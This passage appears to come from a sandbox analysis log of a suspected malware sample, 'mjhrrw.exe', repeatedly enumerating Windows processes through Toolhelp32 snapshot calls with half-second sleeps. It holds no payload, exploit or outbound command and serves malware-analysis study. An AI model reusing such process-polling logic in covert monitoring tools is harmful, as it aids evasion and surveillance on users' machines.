hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x43, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0218.815] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0218.816] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0218.816] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0218.817] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0218.817] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0218.818] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0218.818] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0218.819] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0218.819] CloseHandle (hObject=0x370) returned 1 [0218.819] Sleep (dwMilliseconds=0x1f4) [0220.295] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0220.302] Process32FirstW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0220.411] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0220.423] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0220.431] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.438] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0220.439] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.440] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0220.440] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0220.441] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0220.442] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0220.442] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0220.443] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.444] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.444] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0220.445] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.445] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.446] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.447] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.447] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.448] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.448] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.449] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.450] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.450] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.451] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0220.451] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.452] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0220.453] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0220.453] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0220.454] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0220.454] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0220.455] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.455] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0220.456] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0220.457] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0220.457] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0220.458] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0220.458] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0220.459] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0220.460] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0220.460] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0220.461] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0220.461] CloseHandle (hObject=0x364) returned 1 [0220.462] Sleep (dwMilliseconds=0x1f4) [0221.260] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x364 [0221.293] Process32FirstW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.293] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0221.303] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0221.303] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.304] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0221.305] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.305] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0221.306] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0221.306] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0221.307] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0221.308] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0221.308] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.309] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.309] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0221.310] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.310] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.311] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.327] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3e, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.918] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.951] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.952] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.952] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.953] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.953] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.954] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0221.955] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.955] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0221.956] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0221.956] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0221.957] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0221.957] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0221.958] Process32NextW (in: hSnapshot=0x364, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0221.959] 